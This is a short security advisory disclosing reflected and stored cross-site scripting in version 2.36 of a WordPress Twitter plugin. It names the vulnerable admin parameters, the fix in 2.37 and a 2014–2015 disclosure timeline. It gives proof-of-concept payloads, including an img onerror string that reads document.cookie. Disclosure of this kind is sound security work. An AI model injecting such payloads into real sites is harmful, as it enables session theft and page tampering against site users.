Effected Version : 2.36 (and most probably lower version's if any) Vulnerability : A3-Cross-Site Scripting (XSS) Identified by : Madhu Akula Technical Details Minimum Level of Access Required : Administrator PoC - (Proof of Concept) : In the following fields put the payload as below http://localhost/wp-admin/admin.php?page=twitter.php twttr_url_twitter = ?><script>alert(1)</script> http://localhost/wp-admin/admin.php?page=twitter.php&action=go_pro bws_license_key = ?><img src=x onerror=prompt(document.cookie);> Vulnerable Parameter : twttr_url_twitter, bws_license_key Type of XSS : Reflected / Stored Fixed in : 2.37 http://wordpress.org/plugins/twitter-plugin/changelog/ Disclosure Timeline Vendor Contacted : 2014-08-04 Plugin Status : Updated on 2014-08-07 Public Disclosure : October 3, 2015 CVE Number : Not assigned yet Plugin Description : Twitter plugin allows you to add the Follow and the Like buttons the easiest way. Want to be always in touch with your friends and readers? Cannot imagine your life without Twitter? It is all in several clicks!